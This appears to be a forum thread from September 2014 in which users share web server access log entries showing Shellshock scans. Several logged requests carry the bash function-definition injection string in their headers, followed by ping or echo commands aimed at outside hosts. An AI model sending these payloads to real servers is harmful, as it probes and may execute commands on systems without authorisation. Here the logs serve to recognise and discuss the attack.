Are you seeing any from IP addresses besides 209.126.230.72, which is Robert Graham scanning the Internet[1]?
[1] http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
[1] http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
web22 ~> grep "() {" logs/access_log
209.126.230.72 - - [24/Sep/2014:17:16:46 -0700] "GET / HTTP/1.0" 200 5733 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" 13378 () { :; }; ping -c 23 209.126.230.74 80 74529 209.126.230.72 - - [24/Sep/2014:23:13:20 +0200] "GET / HTTP/1.0" 200 29301 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 - - [25/Sep/2014:08:45:00 +0200] "GET / HTTP/1.0" 200 29292 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"Lets all ping 198...138!
>89.207.135.125 - - - "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 483 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
...searching for vulnerable CPanel installs.
24.251.197.244 - - [25/Sep/2014:10:07:47 +0000] "GET / HTTP/1.1" 301 178 "-" "() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq" access.log.1:209.126.230.72 - - [25/Sep/2014:02:14:12 +0000]
"GET / HTTP/1.0" 502 172 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"